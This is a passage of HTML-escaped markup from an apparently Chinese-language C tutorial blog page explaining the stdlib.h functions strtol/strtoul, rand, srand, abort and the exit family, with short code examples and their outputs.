class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们接受三个参数。\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003enPtr\u003c/code\u003e:待转换的字符串(起首的空白字符会被忽略)。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003eendPrt\u003c/code\u003e:一个指针,指向不能转换部分的第一个字符。如果字符串可以完全转成数值,该指针指向字符串末尾的终止符\u003ccode\u003e\\0\u003c/code\u003e。这个参数如果设为 NULL,就表示不需要处理字符串剩余部分。\u003c/p\u003e\u003cp\u003e(3)\u003ccode\u003ebase\u003c/code\u003e:待转换整数的进制。这个值应该是\u003ccode\u003e2\u003c/code\u003e到\u003ccode\u003e36\u003c/code\u003e之间的整数,代表相应的进制,如果是特殊值\u003ccode\u003e0\u003c/code\u003e,表示让函数根据数值的前缀,自己确定进制,即如果数字有前缀\u003ccode\u003e0\u003c/code\u003e,则为八进制,如果数字有前缀\u003ccode\u003e0x\u003c/code\u003e或\u003ccode\u003e0X\u003c/code\u003e,则为十六进制。\u003c/p\u003e\u003cp\u003e它们的返回值是转换后的数值,如果转换不成功,返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是转换十进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;3490\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = strtoul(u, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 3490\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是转换十六进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* end;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e value = strtol(\u003cspan class=\"string\"\u003e\u0026#34;0xff\u0026#34;\u003c/span\u003e, \u0026amp;end, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ld\\n\u0026#34;\u003c/span\u003e, value); \u003cspan class=\"comment\"\u003e// 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, end); \u003cspan class=\"comment\"\u003e// 无内容\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evalue = strtol(\u003cspan class=\"string\"\u003e\u0026#34;0xffxx\u0026#34;\u003c/span\u003e, \u0026amp;end, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ld\\n\u0026#34;\u003c/span\u003e, value); \u003cspan class=\"comment\"\u003e// 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, end); \u003cspan class=\"comment\"\u003e// xx\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estrtol()\u003c/code\u003e可以指定字符串包含的是16进制整数。不能转换的部分,可以使用指针\u003ccode\u003eend\u003c/code\u003e进行访问。\u003c/p\u003e\u003cp\u003e下面是转换二进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;101010\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = strtoul(s, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 42\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是让函数自行判断整数进制的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#34;-1234567abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* remainderPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e x = strtol(\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e, \u0026amp;remainderPtr, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\\u0026#34;%s\\\u0026#34;\\n%s%ld\\n%s\\\u0026#34;%s\\\u0026#34;\\n\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The original string is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The converted value is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The remainder of the original string is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e remainderPtr\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码的输出结果如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThe original \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e is \u003cspan class=\"string\"\u003e\u0026#34;-1234567abc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eThe converted value is \u003cspan class=\"number\"\u003e-1234567\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eThe remainder of the original \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e is \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果被转换的值太大,\u003ccode\u003estrtol()\u003c/code\u003e函数在\u003ccode\u003eerrno\u003c/code\u003e中存储\u003ccode\u003eERANGE\u003c/code\u003e这个值,并返回\u003ccode\u003eLONG_MIN\u003c/code\u003e(原值为负数)或\u003ccode\u003eLONG_MAX\u003c/code\u003e(原值为正数),\u003ccode\u003estrtoul()\u003c/code\u003e则返回\u003ccode\u003eULONG_MAX\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"rand\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rand\" class=\"headerlink\" title=\"rand()\"\u003e\u003c/a\u003erand()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erand()\u003c/code\u003e函数用来生成 0~RAND_MAX 之间的随机整数。\u003ccode\u003eRAND_MAX\u003c/code\u003e是一个定义在\u003ccode\u003estdlib.h\u003c/code\u003e里面的宏,通常等于 INT_MAX。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 原型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003erand\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果希望获得整数 N 到 M 之间的随机数(包括 N 和 M 两个端点值),可以使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand() % (M - N + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + N;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如,1 到 6 之间的随机数,写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand() % \u003cspan class=\"number\"\u003e6\u003c/span\u003e + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e获得浮点数的随机值,可以使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 0 到 0.999999 之间的随机数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;0 to 0.99999: %f\\n\u0026#34;\u003c/span\u003e, rand() / ((\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)RAND_MAX + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// n 到 m 之间的随机数:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// n + m * (rand() / (float)RAND_MAX)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;10.5 to 15.7: %f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.5\u003c/span\u003e + \u003cspan class=\"number\"\u003e5.2\u003c/span\u003e * rand() / (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)RAND_MAX);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于\u003ccode\u003erand()\u003c/code\u003e和\u003ccode\u003eRAND_MAX\u003c/code\u003e都是 int 类型,要用显示的类型转换转为浮点数。\u003c/p\u003e\u003ch3 id=\"srand\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#srand\" class=\"headerlink\" title=\"srand()\"\u003e\u003c/a\u003esrand()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erand()\u003c/code\u003e是伪随机数函数,为了增加随机性,必须在调用它之前,使用\u003ccode\u003esrand()\u003c/code\u003e函数重置一下种子值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esrand()\u003c/code\u003e函数接受一个无符号整数(unsigned int)作为种子值,没有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esrand\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e seed)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通常使用\u003ccode\u003etime(NULL)\u003c/code\u003e函数返回当前距离时间纪元的秒数,作为\u003ccode\u003esrand()\u003c/code\u003e的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;time.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esrand((\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e) time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003etime()\u003c/code\u003e的原型定义在头文件\u003ccode\u003etime.h\u003c/code\u003e里面,返回值的类型是类型别名\u003ccode\u003etime_t\u003c/code\u003e,具体的类型与系统有关,所以要强制转换一下类型。\u003ccode\u003etime()\u003c/code\u003e的参数是一个指针,指向一个具体的 time_t 类型的时间值,这里传入空指针\u003ccode\u003eNULL\u003c/code\u003e作为参数,由于 NULL 一般是\u003ccode\u003e0\u003c/code\u003e,所以也可以写成\u003ccode\u003etime(0)\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"abort\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#abort\" class=\"headerlink\" title=\"abort()\"\u003e\u003c/a\u003eabort()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eabort()\u003c/code\u003e用于不正常地终止一个正在执行的程序。使用这个函数的目的,主要是它会触发 SIGABRT 信号,开发者可以在程序中为这个信号设置一个处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eabort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数没有参数。\u003c/p\u003e\u003ch3 id=\"exit-,quick-exit-,-Exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#exit-%EF%BC%8Cquick-exit-%EF%BC%8C-Exit\" class=\"headerlink\" title=\"exit(),quick_exit(),_Exit()\"\u003e\u003c/a\u003eexit(),quick_exit(),_Exit()\u003c/h3\u003e\u003cp\u003e这三个函数都用来退出当前正在执行的程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e status)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003equick_exit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e status)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e _Exit(\u003cspan class=\"type\"\u003eint\u003c/span\u003e 